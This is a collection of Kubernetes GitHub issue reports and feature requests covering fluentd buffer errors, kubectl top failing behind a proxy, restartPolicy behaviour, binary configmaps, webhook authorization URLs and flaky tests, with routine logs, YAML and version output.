failed: error_class=fluent::bufferqueuelimiterror error=\ queue size exceeds limit\  tag=\ kubernetes.var.log.containers.fluentd-es-3ft1h_logging_fluentd-es-1e9a4dbef2c0d55a8a7c2d188ebbcb5b98ff26e18b407a4460ec73ecdba0d50d.log\ \r 2017-08-14 13:09:02 +0000  warn : suppressed same stacktrace\r 2017-08-14 13:09:02 +0000  warn : emit transaction failed: error_class=fluent::bufferqueuelimiterror error=\ queue size exceeds limit\  tag=\ kubernetes.var.log.containers.calico-node-gwzrv_kube-system_calico-node-84fe546c1ab19f5586179f76e898391169635bc1006203047a6a4b466141f035.log\ \r …\r    \r \r   what you expected to happen  :\r fluentd should send logs successfully to elasticsearch.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t15:13:53z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r -   cloud provider or hardware configuration  :\r   aws  via kops 1.7.0 \r

is this a bug report or feature request?  :\r feature request\r \r  \r for standard resources like  pods, configmaps , we can use quota to limit the amount of these resources in cluster. however, for a user defined custom resource, we don't support quota.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r  kubectl top  command is failed by the following error message when running  kubectl top  in proxy environment export http_proxy=... .\r    \r error: failed to unmarshall heapster response: invalid character '\\x15' looking for beginning of value\r    \r \r this error was caused by accessing the server listening on https with http.\r actually, kube-apiserver was accessed by http request.  i found a following kube-apiserver log \r    \r http: tls handshake error from 10.130.117.156:51248: tls: first record does not look like a tls handshake\r    \r \r  kubectl top  command accesses to cluster addon heapster.\r heapster listens to access of http.\r but, kube-apiserver listens to access of https.\r \r i think that the reason is a difference of destination address between request structure and url structure  in request structure .\r   request structure is in roundtrip function in staging/src/k8s.io/apimachinery/pkg/util/proxy/transport.go\r \r request structure example is shown as follow.\r \r   http://10.244.0.121:8082 = heapster pod uri\r   https://10.130.116.37:6443 = kube-apiserver uri\r \r    \r method:get\r url:http://10.244.0.121:8082/apis/metrics/v1alpha1/nodes?labelselector=\r proto:http/2.0\r protomajor:2\r protominor:0\r header:map \r \tx-forwarded-for: 10.130.116.37 \r \taccept: application/json,  /  \r \tuser-agent: kubectl/v1.9.3  linux/amd64  kubernetes/d283541 \r \taccept-encoding: gzip \r  \r body:<nil>\r getbody:<nil>\r contentlength:0\r transferencoding:  \r close:false\r host:10.130.116.37:6443\r form:map  \r postform:map  \r multipartform:<nil>\r trailer:map  \r remoteaddr:10.130.116.37:37458\r requesturi:/api/v1/namespaces/kube-system/services/http:heapster:/proxy/apis/metrics/v1alpha1/nodes?labelselector=\r tls:0xc42bbe2420\r cancel:<nil>\r response:<nil>\r ctx:0xc42bc39740}i0223 01:58:34.062603\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others: \r   create kubernetes cluster in proxy environment\r     export http_proxy=...\r     export https_proxy=...\r

i use the k8s 1.9.1 and create a statefulset to make my workload running on 3 separate nodes, after running about 4 weeks, one pods status change to  terminating  and the docker container status was  dead , and it seems kubelet did not recreate the new container and remove the  dead  one to recover the workload.\r \r does there need any configuration to gc the  dead  container?

is this a bug report or feature request?  :\r   \r   anything else we need to know?  :\r \r aws nlbs support static ip addresses by associating an eip per az. an already allocated eip can be supplied with the  subnetmapping  https://docs.aws.amazon.com/elasticloadbalancing/latest/apireference/api_subnetmapping.html .\r \r a user can then supply eip allocation ids in the service definition of kubernetes. by that the service will be available via those static ips.\r

it looks like subresources_test.go is flaking with:\r \r    \r i0308 11:59:32.875349 125866 clientconn.go:551  parsed scheme: \ \  i0308 11:59:32.875369 125866 \r clientconn.go:557  scheme \ \  not registered, fallback to default scheme i0308 11:59:32.875409 \r 125866 resolver_conn_wrapper.go:116  ccresolverwrapper: sending new addresses to cc: \r  {127.0.0.1:2379 0 <nil>}  i0308 11:59:32.875514 125866 balancer_v1_wrapper.go:125  \r balancerwrapper: got update addr from notify:  {127.0.0.1:2379 <nil>}  i0308 11:59:32.875759 125866 \r balancer_v1_wrapper.go:125  balancerwrapper: got update addr from notify:  {127.0.0.1:2379 <nil>}  i0308 11:59:32.876221 125866 balancer_v1_wrapper.go:125  balancerwrapper: got update addr from notify:  {127.0.0.1:2379 <nil>}  testserver.go:141: runtime-config=map api/all:true  testserver.go:142:\r  starting apiextensions-apiserver on port 43045... testserver.go:160: waiting for /healthz to be ok... subresources_test.go:537: unexpected error: wishihadchosennoxu.mygroup.example.com \ foo\  is \r \r invalid: apiversion: invalid value: \ mygroup.example.com/v1beta1\ : must be mygroup.example.com/v1 panic: runtime error: invalid memory address or nil pointer dereference /usr/local/go/src/testing\r \r /testing.go:792 +0x387 /usr/local/go/src/runtime/panic.go:513 +0x1b9 /go/src/k8s.io/kubernetes\r \r /_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/test/integration/subresources_test.go:541 +0xa1b /usr/local/go/src/testing/testing.go:827 +0xbf /usr/local/go/src\r \r /testing/testing.go:878 +0x35c\r     \r \r  \r link to failing test - https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/75131/pull-kubernetes-integration/48253/\r \r \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r azure is not listed as \ migratable\  in staging/src/k8s.io/csi-translation-lib/translate.go.\r \r   why is this needed  :\r \r  /assign

the api schema for serviceport says that the targetport field is a string, but the api actually returns an integer.  this breaks clients generated from the schema for statically type languages.   here is the relevant bit of api schema for serviceport:         \ v1.serviceport\ : {     \ id\ : \ v1.serviceport\ ,     \ required\ :        \ port\ ,      \ nodeport\       ,     \ properties\ : {       ...      \ port\ : {       \ type\ : \ integer\ ,       \ format\ : \ int32\ ,       \ description\ : \ the port number that is exposed\       },      \ targetport\ : {       \ type\ : \ string\ ,       \ description\ : \ number or name of the port to access on the pods targeted by the service; defaults to the service port; number must be in the range 1 to 65535; name must be an iana_svc_name\       },     ...     }    },      and here is an actual example response:      {   \ kind\ : \ service\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ kubernetes\ ,     \ namespace\ : \ default\ ,     \ selflink\ : \ /api/v1/namespaces/default/services/kubernetes\ ,     \ uid\ : \ 511c1181-5e21-11e5-a63c-12548fd47124\ ,     \ resourceversion\ : \ 6\ ,     \ creationtimestamp\ : \ 2015-09-18t16:21:29z\ ,     \ labels\ : {       \ component\ : \ apiserver\ ,       \ provider\ : \ kubernetes\      }   },   \ spec\ : {     \ ports\ :         {         \ protocol\ : \ tcp\ ,         \ port\ : 443,         \ targetport\ : 443,         \ nodeport\ : 0       }      ,     \ clusterip\ : \ 10.0.0.1\ ,     \ type\ : \ clusterip\ ,     \ sessionaffinity\ : \ none\    },   \ status\ : {     \ loadbalancer\ : {}   } }      as you can see _targetport_ is returned as an integer when the api schema declares that this it is a string.   for random reference, we're trying to generate go structs for the kubernetes model in this project: https://github.com/rancher/kubernetes-model

discovered in  17539, if jenkins job names are too long, logic in  cluster/  ungracefully fails on not being able to create firewall rules because they're too long.

today, the post-start hooks run after kubelet sends a \ startcontainer\  request to docker daemon. there could be race between the container becomes actually running and the running of the hooks. this becomes an real issue when the container's start-up time is long.  one way to handle this is to pull out the post-start hooks logic from container runtime to kubelet. in this case: - code can be reused by different runtimes - kubelet can have more confidence that the container is actually running when the post-start hooks run.  would like to hear more feedbacks on this before i change the codes :  /cc @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2407/ failed:  k8s.io  projected should be consumable from pods in volume with mappings and item mode set  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:61 expected error:     < errors.errorstring | 0xc42018e2a0>: {         s: \ failed to get logs from pod-projected-secrets-6ca548a6-0427-11e7-ae48-42010a800005 for projected-secret-volume-test: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-projected-secrets-6ca548a6-0427-11e7-ae48-42010a800005 \ ,     }     failed to get logs from pod-projected-secrets-6ca548a6-0427-11e7-ae48-42010a800005 for projected-secret-volume-test: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-projected-secrets-6ca548a6-0427-11e7-ae48-42010a800005  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2198

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r virtualbox\r -   os    e.g. from /etc/os-release :\r red hat enterprise linux server release 7.3  maipo \r -   kernel    e.g.  uname -a  :\r linux master-01.dockehunt.com 3.10.0-514.el7.x86_64  1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r kargo ansible plugin\r -   others  :\r \r \r   what happened  :\r i have setup 5 nodes kubernetes cluster yesterday using new kargo ansible script . everything was going well but after completion of setup all nodes are getting unreachable .. i am using canal as network plugin . when ever  i power off master machine nodes again getting reachable but  when ever i power-on master , same issue is happening.\r \r i am also getting many duplicate packets when i power-on master.\r \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7291 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7292 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7363 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7388 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7523 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7559 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7573 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7802 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7833 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7847 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7935 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=7944 ms  dup! \r 64 bytes from 192.168.43.31: icmp_seq=417 ttl=64 time=8432 ms  dup! \r \r \r issue is with master node.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r when i poweroff , duplicates packet is not coming and when i power- on duplicate packet is coming.\r \r  root@master-01 ~   etcd --version\r etcd version: 3.0.6\r git sha: 9efa00d\r go version: go1.6.3\r go os/arch: linux/amd64\r \r  root@master-01 ~   calicoctl --version\r calicoctl version v1.1.0-rc8, build e0da92bc\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r the api server will reject oidc tokens with a claim  email_verfied = false , the logic to do so is  here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/plugin/pkg/authenticator/token/oidc/oidc.go l255-l257 \r \r my idp  okta  issues tokens with  email_verfied = false , i want to enable unverified email address to access k8s apis. could we add a configuration option allowing users with unverified email address access to k8s? \r \r cc:/ @ericchiang

the file pv.yaml like this:\r    \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: task-pv-volume\r   labels:\r     type: local\r spec:\r   storageclassname: manual\r   capacity:\r     storage: 5mi\r   accessmodes:\r     - readwriteonce\r   hostpath:\r     path: \ /tmp/data\ \r    \r \r     the file pvc.yaml like this:\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: task-pv-claim\r spec:\r   storageclassname: manual\r   accessmodes:\r     - readwriteonce\r   resources:\r     limits:\r       storage: 5mi\r     requests:\r       storage: 5mi\r    \r \r     the file pvpod.yaml like this:\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: task-pv-pod\r spec:\r   volumes:\r     - name: task-pv-storage\r       persistentvolumeclaim:\r        claimname: task-pv-claim\r   containers:\r     - name: task-pv-container\r       image: docker.io/nginx:latest\r       ports:\r         - containerport: 80\r           name: \ http-server\ \r       volumemounts:\r       - mountpath: \ /usr/share/nginx/html\ \r         name: task-pv-storage\r \r    \r \r when the hostpath /tmp/data or container path /usr/share/nginx/html size more than 5mi, there is nothing happened. the shared volume size should less than 5mi. i think the capacity does not work. why?

 \r   what happened  :\r \r after creating a pod with  restartpolicy: never  and 2 containers, if one of the containers has finished successfully and was removed  either by  docker rm  or by the gc , kubelet will restart the container.\r \r   what you expected to happen  :\r \r since the container already executed and finished successfully, and the restart policy was set to never, it was expected that the container could be safely removed without side-effects.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: mypod\r   namespace: default\r spec:\r   containers:\r   - command:  \ sh\ , \ -c\ , \ sleep 1000\  \r     image: alpine\r     name: sleeper\r   - command:  \ sh\ , \ -c\ , \ exit 0\  \r     image: alpine\r     name: completed\r   restartpolicy: never\r    \r 2. connect to the node where the pod was scheduled. this is the expected state:\r    \r   docker ps -a | grep mypod\r 588f18895f80 alpine@sha256:... \ sh -c 'sleep 1000'\  14 seconds ago up 13 seconds                                   k8s_sleeper_mypod_default_42a2a5ae-876c-11e7-921e-065bde0090ff_0\r b17915ea38df alpine@sha256:... \ sh -c 'exit 0'\  14 seconds ago exited  0  13 seconds ago                       k8s_completed_mypod_default_42a2a5ae-876c-11e7-921e-065bde0090ff_0\r    \r 3. run  docker rm b17915ea38df   id of the container with \ exited  0 \  status \r 4. wait about a minute and check the containers again\r    \r   docker ps -a | grep mypod\r 469b49300eb3 alpine@sha256:... \ sh -c 'exit 0'\  4 seconds ago exited  0  3 seconds ago                       k8s_completed_mypod_default_42a2a5ae-876c-11e7-921e-065bde0090ff_0\r 588f18895f80 alpine@sha256:... \ sh -c 'sleep 1000'\  about a minute ago up about a minute                              k8s_sleeper_mypod_default_42a2a5ae-876c-11e7-921e-065bde0090ff_0\r    \r 5. we can see that the container with the \ exit 0\  command was created again with a new docker id. also, it's possible to see the following message in  kubelet.log  file:\r > container {name:completed image:alpine command: sh -c exit 0  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-1l316 readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead,   but restartpolicy says that we should restart it  .\r \r this message even states that  restartpolicy says that we should restart it  which is obviously false. \r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : cloudstack private cloud.\r - os  e.g. from /etc/os-release :  ubuntu 14.04.5 lts \r - kernel  e.g.  uname -a  :  linux kubernetes3 3.13.0-107-generic  154-ubuntu smp tue dec 20 09:57:27 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r

addsshkeytoallinstances is on the cloudprovider interface. however  all  providers except gce return cloudprovider.notimplemented\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce_instances.go l200\r \r this method is used by createnodedialer:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go l209\r \r please see discussion here:\r https://github.com/kubernetes/kubernetes/issues/49402 issuecomment-328182008\r https://github.com/kubernetes/kubernetes/pull/53912 issuecomment-337038897\r \r

kubelet scan host total memory only on startup and later for detect memory capacity\r changes, kubelet must be restarted.\r \r i think kubelet works as designed,\r but in cases when host total ram can change:\r  - server ram hot-add/remove\r  - vm hot-add/remove\r  - kvm balloon\r \r kubelet fail to detect changes and use old capacity numbers.\r \r i think if kubelet will update capacity information, when it check host for free ram  while scheduling ,\r that situation will handled correctly.\r \r thanks.\r \r   \r - kubernetes version: 1.8.9\r - os: ubuntu 16.04\r - kernel: 4.14.32\r

referencing here as it points more things out: \r https://github.com/mikkeloscar/pdb-controller/issues/17\r \r pdb maxunavailable doesn't work with standalone pods.  this would be extremely useful for when you have jobs that shouldn't be evicted if they don't need to be until they finish.   cronjobs, jenkins slaves, etc.  things that can have a finite life that should probably complete otherwise.\r \r minavailable does work with standalone pods.  this seems counter intuitive in the docs to have one method work one way and the other to not.\r \r i am not sure if this should be considered a bug or a feature request, so i am marking as a bug due to operational difference.\r \r <!-- do not edit below this line -->\r  

looks like emptydir shared volume tests are flaking:\r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35493 and\r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-enabled-default/7362\r \r  /assign\r

this will fix a lot of problems with non-kube-up setups, and is also generally more robust/correct.  last time i tried this there was a problem with kubectl exec / logs, which still require the nodename to be resolvable  and have a valid matching ssl cert .  there wasn't enough time to fix that for v1.

for cross-platform compatibility  i.e. windows  https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/clientcmd/loader.go l46 should use  go-homedir  https://github.com/mitchellh/go-homedir  or something similar to obtain user's home directory.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-soak-continuous-e2e-gce/6497/  failed:  k8s.io  replicaset should serve a basic image on each replica with a private image {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:47 sep  2 17:34:46.369: did not get expected responses within the timeout period of 120.00 seconds. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:118

is this a bug report or feature request?    feature request  please enable configmaps to store binary files as well as character files.    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+coreos.0\ , gitcommit:\ f6f0055b8e503cbe5fb7b6f1a2ee37d0f160c1cd\ , gittreestate:\ clean\ , builddate:\ 2016-08-29t17:01:01z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : hp eliteone 800 g1 aio -   os    e.g. from /etc/os-release :      name=\ ubuntu\  version=\ 16.04.1 lts  xenial xerus \  id=ubuntu id_like=debian pretty_name=\ ubuntu 16.04.1 lts\  version_id=\ 16.04\  home_url=\ http://www.ubuntu.com/\  support_url=\ http://help.ubuntu.com/\  bug_report_url=\ http://bugs.launchpad.net/ubuntu/\  ubuntu_codename=xenial     -   kernel    e.g.  uname -a    kubectl client :   linux derek-hp-eliteone-800-g1-aio 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux     - target environment is a three node vagrant  virtualbox  cluster running coreos 1164.1.0.    what happened?    after creating a configmap from a directory containing a binary java keystore file, command  kubctl describe configmap  reported a size for the binary file that was larger than the original file:      derek@derek-hp-eliteone-800-g1-aio~:$ kubectl describe configmap platinum-fix-brvm-config name:       platinum-fix-brvm-config namespace:  default labels:     <none> annotations:    <none>  data ==== brvm-fix44.xml: 334363 bytes keystore.jks:   2266 bytes settings.txt:   910 bytes derek@derek-hp-eliteone-800-g1-aio~:$ ls -l keystore.jks  -rw-rw-r-- 1 derek derek 1326 sep  9 17:52 keystore.jks      when run inside a container having a mounted volume created from the configmap, command  ls --format=long --dereference keystore.jks  also reported a file size larger than the original:       -rw-r--r--. 1 root root 2266 sep 10 00:58 keystore.jks      a java application in the container that attempted to read  keystore.jks  reported an exception claiming that the file was invalid.    what did you expect to happen?   - kubernetes reports the size of the binary file in the configmap as the same as the original file. - kubernetes container log reports the size of the binary file in the configmap as the same as the original file. - java application successfully reads binary file  keystore.jks . - result of command  file keystore.jks  should be  keystore.jks: java keystore .    how to reproduce it    as minimally and precisely as possible : 1. create a configmap from a directory that contains a java keystore file  or some other binary file . 2. run  kubectl describe configmap  and observe the file size. 3. compare the file size in the configmap to the original file size.  4. map the configmap to a volume, mount the volume in a container, and run  ls --format=long --dereference keystore.jks  and compare the file size of the result to the original file size.

some ideas:\r \r - differentiate expectations between small / oneline changes vs xxl changes, e.g. suggest a sig to go talk to.\r \r cc @derekwaynecarr @thockin

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/1613/ failed: testsimplequeue {workqueue}      /usr/local/go/src/runtime/panic.go:500 +0x1ae /usr/local/go/src/testing/testing.go:918 +0x14e /usr/local/go/src/time/sleep.go:154 +0x78 /usr/local/go/src/testing/testing.go:647 +0x56e /usr/local/go/src/testing/testing.go:793 +0xba /usr/local/go/src/testing/testing.go:610 +0xca /usr/local/go/src/testing/testing.go:799 +0x4bb /usr/local/go/src/testing/testing.go:743 +0x130 k8s.io/kubernetes/pkg/util/workqueue/_test/_testmain.go:82 +0x1b9 /usr/local/go/src/runtime/asm_amd64.s:2086 +0x1 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9e /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x23b /usr/local/go/src/runtime/sema.go:267 +0x12f /usr/local/go/src/sync/cond.go:57 +0x8e /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/workqueue/queue.go:124 +0x151 <autogenerated>:44 +0x69 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/workqueue/delaying_queue_test.go:49 +0x2e1 /usr/local/go/src/testing/testing.go:610 +0xca /usr/local/go/src/testing/testing.go:646 +0x530 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/workqueue/delaying_queue.go:161 +0xac8 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/workqueue/delaying_queue.go:55 +0x325

rbac has been in beta since v1.6, and i think we should enable this apigroup in federation-apiserver, too.\r \r per this document: https://docs.google.com/document/d/1o2ser_tdtgxzndh5lhpuazmt-haylb9nabrso4dsudk/edit , rbac was not enabled due to that it was still alpha at that time.\r \r cc @nikhiljindal

currently, it seems that kubelet get cpu and memory capacity programtically and there is no way to override the it. this is difficult when we need to customize the cpu and memory capacity to do some test.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i configured a webhook authz service like this:\r \r    \r     - --authorization-webhook-config-file=/etc/kubernetes/kubeconfig/webhook-authz\r     - --authorization-webhook-cache-unauthorized-ttl=5m\r     - --authorization-webhook-cache-authorized-ttl=5m\r    \r \r  /etc/kubernetes/kubeconfig/webhook-authz  looks like this:\r \r    \r clusters:\r   - name: tbxaccounts\r     cluster:\r       server: https://some.authz.service/authz?cluster=staging\r \r users:\r   - name: apiserver\r \r current-context: webhook\r contexts:\r - context:\r     cluster: tbxaccounts\r     user: apiserver\r   name: webhook\r    \r \r when kubernetes tried to authorize a user, it made a request to  https://some.authz.service/authz , without the url query string   cluster=staging  .\r \r   what you expected to happen  :\r \r i expected the url query string to be included in the url.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r configure an authz service with a url query string and perform a cluster operation that would require authorization.\r \r tcpdump confirms the query string is missing:\r \r    \r 09:03:22.981848 ip 172.31.208.7.46248 > 172.28.1.136.80: flags  p. , seq 1:386, ack 1, win 222, options  nop,nop,ts val 2678521369 ecr 3814024643 , length 385: http: post /authz http/1.0\r e.....@.?..............p.,s.... ...........\r .....ue.post /authz http/1.0\r content-type: application/json\r accept: application/json,  / \r content-length: 298\r user-agent: go-http-client/2.0\r host: some.authz.service\r connection: close\r via: https/2 staging-master-1z76.c.torchkube.internal 985182a9-82fa-4516-ad79-8d0f98755770   apachetrafficserver/7.1.0 \r \r \r 09:03:22.981870 ip 172.28.1.136.80 > 172.31.208.7.46248: flags  . , ack 386, win 235, options  nop,nop,ts val 3814024643 ecr 2678521369 , length 0\r e..43.@.@..+.........p..... .,t..... ......\r .ue.....\r 09:03:22.981891 ip 172.31.208.7.46248 > 172.28.1.136.80: flags  p. , seq 386:684, ack 1, win 222, options  nop,nop,ts val 2678521369 ecr 3814024643 , length 298: http\r e..^..@.?..............p.,t.... ...........\r .....ue.{\ kind\ :\ subjectaccessreview\ ,\ apiversion\ :\ authorization.k8s.io/v1beta1\ ,\ metadata\ :{\ creationtimestamp\ :null},\ spec\ :{\ resourceattributes\ :{\ namespace\ :\ default\ ,\ verb\ :\ list\ ,\ version\ :\ v1\ ,\ resource\ :\ pods\ },\ user\ :\ ffoobar\ ,\ group\ : \ tech\ ,\ system:authenticated\  },\ status\ :{\ allowed\ :false}}\r    \r \r   anything else we need to know?  :\r \r this worked in 1.6.6, as far as i'm aware; it seems to have broken since we upgraded to 1.7.0.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : coreos 1409.6.0\r - kernel  e.g.  uname -a  : linux staging-master-1xkk.c.torchkube.internal 4.11.9-coreos  1 smp thu jul 6 00:54:42 utc 2017 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux\r - install tools: custom scripts\r - others:\r

in kubernetes, how can i limit the pods restart count ?   \r \r now, when the pods exit with none zero or other reasons ,then it will be restarted according to restartpolicy  always、onfailure、never .\r \r from the source code, there is a property  restart  to add the restart count. i think that when the property equals to the number i expect to restart count, then the pod will be deleted. weather it will work? or there are other solutions to work this problem? thank you !!!\r

